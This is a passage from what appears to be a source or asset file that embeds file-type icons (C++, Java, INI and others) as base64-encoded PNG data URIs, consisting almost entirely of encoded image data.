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",cpp_icon="data:image/png;base64,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",java_icon="data:image/png;base64,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",ini_icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAAEuZJREFUeF7NW2lsHOd5fmb21HJ53xTFSyRFStR9W7cc24EPNLb8I2qaHnERwP1T2z8CRO2/IkHc1GmDGi6KtiiMBk7dOHWQCjaty5Yi89AtxZZkibIjSqQoiUsuuQeXe8wU7/vNNztc7jGUm1oCVsOd/WZ2nud7j+d9v28VfMl/r7/++pMdHR3rAOhOp5Pvpmkav1KpFB/lOfo8Go3ixo0vtPb2trf27dt380t+/Ze+XMl1h2g08YiuJx8FoBI4OS6Z1BCLRXH79m3lrbd+1rFv375vjY+Pw+v1MmBd103gkgg6ejweTExMIByOoLm5GT6fP97V1f0jv9+XUlVBXPZ/BoHMYn68mhyQHqdAheZQHEdLSnx92a7OSkA0GnslkUi+ppuw5aU0XAC8fPlTRKMhjI2NweVy8Uwnk0kmgI40hl6JRILJicVm4fMVYdeuPaipqYWqKjxWWAcd6d7iyfms+d16xnv6SDc/T481xhnXmu90QFEUeL2eV0pLfX+fSUIuAqbj8WQxXWj9J8ClcOXKJ5ieDvKMEngJWJq9BE9H+jwen4XXK8BXVdVAVcVDCfD0t5xehSlQ+D9xToNieW+c0RT+PD3WGGfcRlP4Kh5AQ6Fr8Hrc4fLy4mJbBITDMzoBtRIgZ/bq1SsIhYKYmpoyZ14ClkTIsQ6HA/F4HG63Fzt27PpKwBOluga4XE5UVZXOm/CsFpBJgAR07dpVRCLTuH9/HBUVFYhEImzG0u+tRBD4WCwGl8uDbdt2fGXgyQQ06HA/KAES/PXrnyEcnkYoFGLL2LZtGxNw5swZfi9JICug9zMzM3A63diy5RFUV5PP//+aPTsTgTdcQBBQthALIA8TAY1mPhaLIBKJcmDbvn07Tp48ia1bt3JakyTIlEfEUGTfvHnrVw7edAG3E9ULIyDFAe+zzy5jdnYGwWCQyfD7/WhqakJDQwNOnDjBJBDg8+fPg/L81NQ0KLg/LOBNF1goAbFYnKN9PB7D5OQkm/Vzzz2H4eFhBAIBjgFERn9/Px/J3wOBCaRS2sMFnl1AxIDqapsuMD0d0S9cOI+ZmQjPfFlZGUpKSuDz+dDR0YGhoSFUVVXx6+LFi0wQiSESSZs2bXkozF76P6sLTYPb7UKNXQLOnDmr3707xuCLiooY/M